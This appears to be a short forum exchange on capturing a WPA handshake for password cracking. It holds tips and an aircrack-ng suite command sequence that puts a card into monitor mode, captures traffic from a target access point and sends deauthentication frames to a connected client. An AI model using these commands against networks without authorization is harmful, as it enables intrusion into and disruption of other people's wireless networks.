Make sure you set the channel on the monitor interface. If not the channel hopping can cause you to lose parts of the handshake.
Make sure airodump-ng is capturing all packets not just ivs
To find a hidden ssid deauth a client associated with the AP. Not sure how to discover without an associated client.
edit: what are you using to crack the handshake?
------------------
The following command i am using to crack WPA...
(((TB = target BSSID, TC = Target channel, CM = station))))
airmon-ng
airmon-ng start wlan0
airodump-ng mon0
airodump-ng -w wep --bssid TB -c TC mon0
aireplay-ng --deauth 1 -a TB -c CM mon0
etc.......